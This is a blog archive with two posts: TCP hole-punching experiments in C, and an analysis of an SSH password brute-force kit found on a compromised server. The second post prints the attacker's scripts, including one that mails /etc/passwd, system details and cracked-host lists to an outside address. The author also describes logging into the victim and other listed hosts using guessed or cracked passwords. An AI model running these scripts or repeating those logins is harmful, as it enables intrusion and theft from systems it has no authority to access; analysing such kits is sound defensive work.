Archive for January, 2013

Experiment on TCP Hole Punching

2013/01/31

I recently need to find a way to connect to a subversion server behind a NAT. I used to tunnel through a SSH server with public IP. It worked perfectly, but recently I lost access to the server. So I want to try TCP hole punching.

It’s not hard to find related resource online. I followed the approach described in the paper “Peer-to-Peer Communication Across Network Address Translators”. The basic idea is to let both peers do connect and listen on the same port. If the internet gateway sees an outgoing SYN packet to X, the gateway will allow subsequent packets from X. As a result, at least one of the SYN packet should punch trough the NAT.

Before this, we need to know the external IP and port of both peers. Fortunately, most NAT implementations always map the same internal IP/port to the same external IP/port. It’s known as “independent mapping”. Even better, most NAT will use the same external port as the internal port if it’s not occupied. It’s known as “port preserving”. To know the external IP/port, we can connect to a third server and let it tell us, just like STUN.

So I implemented the idea in Ford’s paper.

#include <stdio.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>

#define DIE(format,...) do {perror(NULL); printf(format, ##__VA_ARGS__); exit(1);} while(0)

int say_something (int sock)
{
	char buff[256];
	int len, flags;

	flags = fcntl(sock, F_GETFL);
	flags = flags & (~ O_NONBLOCK);
	if (fcntl(sock, F_SETFL, flags))
		DIE("fcntl() failed\n");

	snprintf(buff, sizeof(buff), "Hello. I'm %d", getpid());
	printf("sending %s\n", buff);
	if (send(sock, buff, strlen(buff) + 1, 0) != strlen(buff) + 1)
		DIE("send() failed\n");

	len = recv(sock, buff, sizeof(buff), 0);
	if (len <= 0)
		DIE("recv() failed\n");
	printf("received %s\n", buff);

	return 0;
}

// TODO address type, length...
int getaddr (struct sockaddr *addr, const char *host, const char *port)
{
	struct addrinfo hints, *res;

	memset(&hints, 0, sizeof(hints));
	hints.ai_family = AF_INET;
	hints.ai_socktype = SOCK_STREAM;
	hints.ai_protocol = 0;
	hints.ai_flags = AI_PASSIVE;

	if (getaddrinfo(host, port, &hints, &res))
		return -1;

	if (res == NULL)
		return -1;

	memcpy(addr, res->ai_addr, res->ai_addrlen);
	freeaddrinfo(res);
	return 0;
}

int main (int argc, char *argv[])
{
	int ssock, csock;
	struct sockaddr_in local_addr, remote_addr;
	fd_set rfds, wfds;
	struct timeval tv;
	int i;
	socklen_t len;

	if (argc != 4) {
		printf("Usage: %s localport remotehost remoteport\n", argv[0]);
		exit(0);
	}

	if (getaddr((struct sockaddr *)&local_addr, NULL, argv[1]))
		DIE("getaddr() failed\n");
	if (getaddr((struct sockaddr *)&remote_addr, argv[2], argv[3]))
		DIE("getaddr() failed\n");

	if ((ssock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
		DIE("socket() failed\n");
	if ((csock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
		DIE("socket() failed\n");

	i = 1;
	if (setsockopt(ssock, SOL_SOCKET, SO_REUSEADDR, &i, sizeof(int)))
		DIE("setsockopt() failed\n");
	if (setsockopt(csock, SOL_SOCKET, SO_REUSEADDR, &i, sizeof(i)))
		DIE("setsockopt() failed\n");

	if (bind(ssock, (const struct sockaddr *)&local_addr, sizeof(local_addr)))
		DIE("bind() failed\n");
	if (bind(csock, (const struct sockaddr *)&local_addr, sizeof(local_addr)))
		DIE("bind() failed\n");

	if (fork()) {
		close(csock);

		if (listen(ssock, 1))
			DIE("listen() failed\n");
		while (1) {
			len = sizeof(remote_addr);
			i = accept(ssock, (struct sockaddr *)&remote_addr, &len);
			if (i < 0) {
				perror("accept() failed.");
			} else {
				printf("accept() succeed.");
				return say_something(i);
			}
		}
	} else {
		close(ssock);
		srandom(getpid());

		for (i = 0; i < 3; i ++) {
			if (connect(csock, (const struct sockaddr *)&remote_addr, sizeof(remote_addr))) {
				int sleeptime = random() * 1000000.0 / RAND_MAX + 1000000.0;
				sleeptime = sleeptime << i;
				perror("connect() failed");
				if (i < 2) {
					printf("sleeping for %.2f sec to retry\n", sleeptime / 1000000.0);
					usleep(sleeptime);
				}
			} else {
				printf("connect() succeed");
				return say_something(csock);
			}
		}
		return 1;
	}
}

It worked. host1 and host2 have external IP 1.1.1.1 and 2.2.2.2 respectively. Both NAT preserve ports so if host1 binds on port 30000, the external port is also 30000.

host1$ ./biconn 30000 2.2.2.2 20000
connect() failed: Connection timed out
sleeping for 1.13 sec to retry
connect() succeed: Connection timed out
sending Hello. I'm 8151
received Hello. I'm 6629
host2$ ./biconn 20000 1.1.1.1 30000
connect() failed: Connection refused
sleeping for 1.68 sec to retry
connect() succeed: Connection refused
sending Hello. I'm 6629
received Hello. I'm 8151

I noticed an unexpected behaviour. accept() never succeeded in either peer. connect() succeed in both peers.

Is it possible for two peers to symmetrically “connect()” to each other? Is question is not related to NAT. The answer is yes. Find any computer networks text book and look for the TCP state diagram. It’s possible to go from the SYN_SENT state to the SYN_RECV state by receiving a SYN packet. Someone has asked the question before.

So I wondered if I can remove the listen() part in the code, and use only one socket in each peer. A problem with the previous approach (as mentioned here) is that it’s not possible to bind additional sockets on the port after listen().

So I did the second experiment. It’s much cleaner.

#include <stdio.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/select.h>
#include <netinet/in.h>

void die (const char *msg)
{
	perror(msg);
	exit(1);
}

int main (int argc, char *argv[])
{
	int sock;
	struct sockaddr_in addr;
	char buff[256];

	if (argc != 4) {
		printf("Usage: %s localport remotehost remoteport\n", argv[0]);
		exit(0);
	}

	sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
	if (sock < 0)
		die("socket() failed");

	memset(&addr, 0, sizeof(addr));
	addr.sin_family = AF_INET;
	addr.sin_addr.s_addr = htonl(INADDR_ANY);
	addr.sin_port = htons(atoi(argv[1]));
	if (bind(sock, (const struct sockaddr *)&addr, sizeof(addr)))
		die("bind() failed\n");

	memset(&addr, 0, sizeof(addr));
	addr.sin_family = AF_INET;
	addr.sin_addr.s_addr = inet_addr(argv[2]);
	addr.sin_port = htons(atoi(argv[3]));

	while (connect(sock, (const struct sockaddr *)&addr, sizeof(addr))) {
		if (errno != ETIMEDOUT) {
			perror("connect() failed. retry in 2 sec.");
			sleep(2);
		} else {
			perror("connect() failed.");
		}
	}

	snprintf(buff, sizeof(buff), "Hi, I'm %d.", getpid());
	printf("sending \"%s\"\n", buff);
	if (send(sock, buff, strlen(buff) + 1, 0) != strlen(buff) + 1)
		die("send() failed.");

	if (recv(sock, buff, sizeof(buff), 0) <= 0)
		die("recv() failed.");
	printf("received \"%s\"\n", buff);

	return 0;
}

It works. I wonder what’s the reason of doing listen(). Does it related to the way connection tracking is implemented in different type of NAT? Or does it related to the way TCP is implemented in different OS?

host1$ ./biconn1 20000 2.2.2.2 30000
connect() failed. retry in 2 sec.: Connection refused
sending "Hi, I'm 6566."
received "Hi, I'm 7600."
host2$ ./biconn1 30000 1.1.1.1 20000
connect() failed. retry in 2 sec.: Connection refused
connect() failed.: Connection timed out
connect() failed.: Connection timed out
sending "Hi, I'm 7600."
received "Hi, I'm 6566."

My objective is to connect to my subversion server in a NAT. Now, I still need a publicly accessible server to coordinate the hole punching. It basically works like this: In the subversion server I run a program with persistent connection to the public server. When I want to connect from outside, I can contact the public server, which then notifies my program in the subversion server. Then I can launch the TCP hole punching and get a TCP connection, which can then be used to tunnel the subversion connection.

Without possessing a public accessible server, other mechanisms can be used. I can think of the following mechanisms:

  • Online forum: Post the client’s external IP/port in a forum and have a program running in the subversion server to periodically check the forum.
  • DHT, e.g. the mainline bittorrent DHT: The server randomly generates a infohash, and “announce” itself to be downloading this infohash. The server then periodically queries for peers on the infohash. To do hole punching, the client also announces itself to be downloading it. The server sees a new peer joining, then both parties can do hole punching. The limitation is that two peers cannot exchange port information, thus they need to predetermine a particular port.
  • IRC bot
  • Public SIP registrar: It’s a bit overkill, but quite related, and well supported (plenty public servers and libraries).

I’m not sure if there is any existing tool for this purpose. Before IPv6 getting well established, there are going to be more and more servers behind NAT, so this is going to be handy. Please leave a comment if you know any.

Advertisements

analysing an ssh password bruteforce attack

2013/01/12

Having setup my ssh honeypot, I had my first guest. I thought it might be a victim, so I tried to see whether it has a weak password. It turned out to be really weak. I got it on my second guess. It’s a x86 machine running RHEL5 and has an public IP address in Beijing. A quick glance at the running processes showed no obvious malicious processes. The bash history showed the most recent command was go.sh.

   68  cd /root/
   69  ls
   70  cd lamp-auto
   71  ls
   72  sh lamp-auto.sh
   73  cd
   74  cd /root/gosh
   75  ./go.sh 91

I don’t know why the hacker didn’t clear the history, but I’m certain that the hacker was the most recent logined user before me. The lastlog showed the previous login was from SC Aries Networks Group SRL (Romania). I believe this was from the hacker. It’s unlikely he created a fake lastlog. I tried to access that address but it was offline.

OK, let’s see that’s in /root/gosh.

[root@foo gosh]$ ls -al
total 9500
drwx--x--x   2 root root    4096 Jan 11 14:09 .
drwxrwxr-x. 10 root root    4096 Jan 11 21:50 ..
-rwx--x--x   1 root root 3346659 Jul 23  2006 1
-rwx--x--x   1 root root   54703 Apr 20  2008 2
-rwx--x--x   1 root root   28956 Apr 21  2008 3
-rwx--x--x   1 root root   54703 Apr 20  2008 4
-rwx--x--x   1 root root   26857 Aug 23  2005 5
-rwx--x--x   1 root root    1227 Jul 12  2011 a
-rw-r--r--   1 root root 2830095 Jan 11 16:40 bios.txt
-rwx--x--x   1 root root   22354 Dec  2  2004 common
-rwx--x--x   1 root root     265 Nov 25  2004 gen-pass.sh
-rwx--x--x   1 root root     120 Jul 30  2011 go.sh
-rwx--x--x   1 root root 1972243 Jan 11 16:40 mfu.txt
-rwx--x--x   1 root root     806 Jun 24  2012 pass_file
-rwx--x--x   1 root root   21407 Jul 22  2004 pscan2
-rwx--x--x   1 root root    5908 Jul 12  2011 scam
-rwx--x--x   1 root root     197 Aug 23  2005 secure
-rwx--x--x   1 root root  453972 Jul 13  2004 ss
-rwx--x--x   1 root root  842736 Nov 24  2004 ssh-scan
-rwxr-xr-x   1 root root   10974 Jan 11 16:59 vuln.txt

[root@foo gosh]$ file *
1:           C++ source, ISO-8859 text, with CRLF line terminators
2:           C source, ASCII text
3:           C++ source, ASCII text, with CRLF line terminators
4:           C source, ASCII text
5:           ASCII text
a:           ISO-8859 text
bios.txt:    ASCII text
common:      C++ source, ASCII text
gen-pass.sh: Bourne-Again shell script, ASCII text executable
go.sh:       ASCII text
mfu.txt:     ASCII text
pass_file:   ASCII text
pscan2:      ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.2.5, not stripped
scam:        Bourne-Again shell script, ASCII text executable
secure:      Bourne-Again shell script, ASCII text executable
ss:          ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.0.0, stripped
ssh-scan:    ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.0.0, stripped
vuln.txt:    ASCII text

The file 1 to 5 and pass_file are username and password pairs. Those are password dictionaries, no surprise, except there are two interesting long passwords, 7hur@y@t3am$#@!(*( and JFKGHDj3587561346tyhsdfgDFH75q4yeatHADF. Google gives a few hits, but no interesting finding. bios.txt is a list of 205763 IP addresses, including mine. No wonder I’m scanned. go.sh is the one in the bash history. Here’s the script:

perl pscan3
./ss 22 -a $1 -i eth0 -s 10
cat bios.txt |sort | uniq > mfu.txt
./ssh-scan 300
rm -f bios.txt
rm -rf pscan3

There is no file named pscan3, so I don’t know what the first line means. pscan2 is an ELF32 executable. The help message is:

Usage: ./pscan2 <b-block> <port> [c-block]

Other strings from the executable are

%s.pscan.%s
%s.%s.pscan.%s
Invalid b-range.
# scanning:
%s.%d.* (total: %d) (%.1f%% done)
Unable to allocate socket.
Unable to set O_NONBLOCK
%s.%d.%d
Invalid IP.
# pscan completed in %u seconds. (found %d ips)
Y@%s
Error: %s

So it’s a port scanner. Nothing fun. Let’s move to ss. The help message is:

usage: ./ss <port> [-a <a class> | -b <b class>] [-i <interface] [-s <speed>]
speed 10 -> as fast as possible, 1 -> it will take bloody ages (about 50 syns/s)

The hacker’s command was ./ss 22 -a 91 -i eth0 -s 10, so he’s a impatient person. From the strings in the executable, it looks like another port scanner. It uses libpcap to get the reply. The pcap filter (found in the strings dump) is (tcp[tcpflags]=0x12) and (src port %d) and (dst port %d), which selects ACK|SYN packets. Googling it’s SHA1 b45ae5d8d3069ee7f880dd461c931fa711b6ad3d gives me a virustotal report. Detection ratio is 30/46, so it’s quite well known.

OK, the last ELF file, ssh-scan. There isn’t any useful help message this time. From the strings, it looks like a ssh scanner. This is my guess: it reads IP addresses in mfu.txt, user:password pairs in pass_file, and output login results in vuln.txt. All file names are hard coded. I tried a few hosts in vuln.txt, some can login. ssh-scan’s SHA1 4f64a5b07b0c128771ea21bf4aa15610fc6b071c also gets hit in virustotal, with 30/42 detection ratio.

The shell script scam is used to mail the scan result to the hacker.

#!/bin/bash

echo "[+] [+] [+] RK [+] [+] [+]" >> info2
echo "[+] [+] [+] IP [+] [+] [+]" >> info2
/sbin/ifconfig -a >> info2
echo "[+] [+] [+] uptime [+] [+] [+]" >> info2
uptime >> info2
echo "[+] [+] [+] uname -a [+] [+] [+]" >> info2
uname -a >> info2
echo "[+] [+] [+] /etc/issue [+] [+] [+]" >> info2
cat /etc/issue >> info2
echo "[+] [+] [+] passwd [+] [+] [+]" >> info2
cat /etc/passwd >> info2
echo "[+] [+] [+] id [+] [+] [+]" >> info2
id >> info2
echo "[+] [+] [+] Spatiu Hdd / pwd [+] [+] [+]" >> info2
df -h >> info2
pwd >> info2
cat info2 | mail -s "Scanner MaLa Port : ?? | Pass : stii tu :))" DaNioN@bk.ru
rm -rf info2
clear

echo "####################################################################"
echo "#                       ______                                  "
echo "#                            .-.      .-.                               "
echo "#                           /            \                              "
echo "#                          |     zRR      |                             "
echo "#                          |,  .-.  .-.  ,|                             "
echo "#                          | )(z_/  \z_)( |                             "
echo "#                          |/     /\     \|                             "
echo "#                  _       (_     ^^     _)                             "
echo "#          _\ ____) \_______\__|IIIIII|__/_________________________     "
echo "#         (_)[___]{}<________|-\IIIIII/-|__zRR__zRR__zRR___________\    "
echo "#           /     )_/        \          /                               "
echo "#                             \ ______ /                                      "
echo "#                         SCANER PRIVAT                             "
echo "#             SCANER FOLOSIT DOAR DE TEAMUL MaLaSorTe               "
echo "#            SACNERUL CONTINE UN PASS_FLIE DE 3MEGA !!              "
echo "####################################################################"

if [ -f a ]; then
cat vuln.txt |mail -s "gosh" DaNioN@bk.ru
./a $1.0
./a $1.1
./a $1.2
./a $1.3
./a $1.4
./a $1.5
./a $1.6
./a $1.7
./a $1.8
./a $1.9
./a $1.10
cat vuln.txt |mail -s "gosh" DaNioN@bk.ru
./a $1.11
...
./a $1.255
killall -9 a
else
echo # Ciudat ..Nu Ai Urmat Instructiunile  #
echo # trebui dat mv assh a sau mv scan a   #
echo # orice ai avea tu ... dohh ..         #
killall -9 a
killall -9 pscan2
fi

I can’t see any trace of this script been executed in this host. Google translate suggests it’s Romanian, but the hacker might not be the script author. Nevertheless, the language and the IP address match! The hacker’s email is DaNioN@bk.ru, which has only one Google hit. The script ./a prepares the input for ssh-scan and launches ssh-scan.

#!/bin/bash
if [ $# != 1 ]; then
        echo " usage: $0 <b class>"
        exit;
fi


echo -e "33[1;31m?33[1;32m Created bY zRR 33[1;31m?33[0m"
echo "INCERC SA DAU VIATZA CIBERNETICI"


./pscan2 $1 22

sleep 10
cat $1.pscan.22 |sort |uniq > mfu.txt
oopsnr2=`grep -c . mfu.txt`
echo "# SA VEDEM CE PULA MEA FACEM"
echo "#          _\ ____) \_______  "
echo "#         (_)[_bY_]{}<zRR> "
echo "#         /     )_/         "
echo "#.......si DE root  ....... "
echo "                            "
echo -e "Checking33[1;34m user file33[0m pass 1"
cp 1 pass_file
./ssh-scan 100
sleep 3
echo -e "Checking33[1;31m root file33[0m pass 2"
cp 2 pass_file
./ssh-scan 100
sleep 3
echo -e "Checking33[1;34m user file33[0m pass 3"
cp 3 pass_file
./ssh-scan 100
sleep 3
echo -e "Checking33[1;34m user file33[0m pass 4"
cp 4 pass_file
./ssh-scan 100
sleep 3
echo -e "Checking33[1;31m root file33[0m pass 5"
cp 5 pass_file
./ssh-scan 100
rm -rf $1.pscan.22 mfu.txt
echo -e "33[1;31m?33[1;32mFuck .. continuam .. 33[1;31m?33[0m"

It even has terminal color. That’s quite uncommon for a background scanning tool. The hacker can’t sit there and watch the scanning, so what’s the purpose?

To conclude, this is a simple SSH password scanner. It’s simple in the sense it doesn’t propagate itself. The hacker has to manually install and launch it in a newly acquired host.